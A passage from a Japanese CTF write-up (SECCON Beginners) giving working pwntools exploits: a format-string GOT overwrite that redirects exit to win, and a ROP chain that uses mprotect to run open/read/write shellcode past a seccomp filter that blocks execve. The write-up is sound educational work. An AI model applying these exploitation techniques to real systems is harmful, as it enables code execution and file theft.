[0x404040] exit@GLIBC_2.2.5 -> 0x4010b6 (exit@plt+6) ◂— push 8

└─< nm chall | grep win     
0000000000401341 T win

以下のように $hn で 2 バイトずつ書き込もうとするとローカルではうまく行くがサーバでは失敗する (出力する文字が長すぎて途中で打ち切られる？)

from pwn import *

binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()

gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

def calc_hn(objective_value, sum_bytes):
    r = objective_value - sum_bytes
    while r < 0:
        r += 0x10000
    return r, r + sum_bytes

addr_got_exit = 0x404040
addr_win = 0x0000000000401341

offset = 10

payload = b''

payload_bytes, sum_bytes = calc_hn((addr_win) & 0xffff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hn'.encode()

payload_bytes, sum_bytes = calc_hn((addr_win >> 16) & 0xffff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hn'.encode()

payload += b' ' * (32 - len(payload))

payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 2)

sla(b'> ', payload)
print(io.recvall())

No PIE なので，win 関数のアドレスは 3 バイトで，exit 関数も呼ばれていないので exit 関数の GOT も上位 5 バイトは 0 になっているので，3 バイトの書き換えのみで十分なので以下のスクリプトでいける．

from pwn import *

binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()

gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

def calc_hhn(objective_value, sum_bytes):
    r = objective_value - sum_bytes
    while r < 0:
        r += 0x100
    return r, r + sum_bytes

addr_got_exit = 0x404040
addr_win = 0x0000000000401341

offset = 11

payload = b''

payload_bytes, sum_bytes = calc_hn((addr_win) & 0xff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hhn'.encode()

payload_bytes, sum_bytes = calc_hhn((addr_win >> 8) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hhn'.encode()

payload_bytes, sum_bytes = calc_hhn((addr_win >> 16) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 2}$hhn'.encode()

payload += b' ' * (40 - len(payload))

payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 1)
payload += p64(addr_got_exit + 2)

sla(b'> ', payload)
print(io.recvall().decode())

gachi-rop

author:Satoki
medium

そろそろOne Gadgetにも飽きてきた？ガチROPの世界へようこそ！

nc gachi-rop.beginners.seccon.games 4567

gachi-rop.tar.gz c8cb163daca67761d36d9410b6eb2d8bfa961c66

セキュリティ機構

└─< spwn                              
[*] Binary: gachi-rop
[*] Libc:   libc.so.6
[!] No loader

[*] file gachi-rop
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec gachi-rop
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Libc version: 2.35
[!] There are some dangerous functions:
gets system
[*] cwe_checker gachi-rop (press Ctrl+C to stop)
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (0040127b) -> gets


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 on any debuginfod server.
[!] Failed to unstrip libc
[+] Downloading loader
[+] Extracting loader
[!] Possible seccomp found
[*] seccomp-tools dump ./debug_dir/gachi-rop < /dev/null
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

デコンパイルすると以下のようになっているので，BOF ができて canary もないので，ROP できる．

undefined8 main(void)
{
    undefined8 local_18;
    undefined8 local_10;
    
    install_seccomp();
    printf("system@%p\n",system);
    local_18 = 0;
    local_10 = 0;
    printf("Name: ");
    gets((char *)&local_18);
    printf("Hello, gachi-rop-%s!!\n",&local_18);
    return 0;
}

ただし，seccomp があるので execve と execveat が使えないため，flag のファイルを開いて出力させるところまでする必要がある．

system 関数のアドレスは教えてくれているので，libc のベースアドレスは判明している

└─< readelf -s -W ./libc.so.6 | grep " system@"             
    1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

全部 ROP で行くのはできる気がしない (rax に入っている戻り値を動かしたりするのが大変っぽい) ので，シェルコードを配置した領域を mprotect で実行可能にして実行する．

from pwn import *

binary_name = 'gachi-rop'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'gachi-rop.beginners.seccon.games 4567'.split()

gdb_script = '''
b *0x00000000004012a1
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

addr_writable = 0x404000
offset_system = 0x0000000000050d70

addr_system = int(rl().decode().split('@')[-1], 16)
libc_base = addr_system - offset_system
loginfo(f'libc_base: {hex(libc_base)}')

rop_pop_rdi = libc_base + 0x000000000002a3e5
rop_pop_rsi = libc_base + 0x000000000002be51
rop_pop_rdx_r12 = libc_base + 0x000000000011f2e7

addr_read = libc_base + 0x00000000001147d0
addr_mprotect = libc_base + 0x000000000011eaa0

payload = b'A' * 0x10 + p64(1)

## read(0, addr_str_fname, 0x10) << "/flag.txt"
addr_str_fname = addr_writable + 0x100
payload += p64(rop_pop_rdx_r12)
payload += p64(0x10)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_str_fname)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)

## read(0, addr_shellcode, 0x400) << shellcode
addr_shellcode = addr_writable + 0x120
payload += p64(rop_pop_rdx_r12)
payload += p64(0x400)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_shellcode)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)

## mprotect(addr_shellcode, 0x400, 7)
payload += p64(rop_pop_rdx_r12)
payload += p64(7)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(0x400)
payload += p64(rop_pop_rdi)
payload += p64(addr_writable)
payload += p64(addr_mprotect)

## exec shellcode
payload += p64(addr_shellcode)

sla('Name: ', payload)

pause()
sl(b'/flag.txt\x00')
pause()
shell_code = asm(f'''
{shellcraft.linux.open('/app/ctf4b/', 0)}
{shellcraft.linux.getdents64('rax', 'rsp', 0x1000)}
{shellcraft.linux.write(1, 'rsp', 0x1000)}
''')
shell_code = asm(f'''
{shellcraft.linux.openat(0, '/app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt', 0)}
{shellcraft.linux.read('rax', 'rsp', 0x60)}
{shellcraft.linux.write(1, 'rsp', 0x60)}
''')
sl(shell_code)

interact()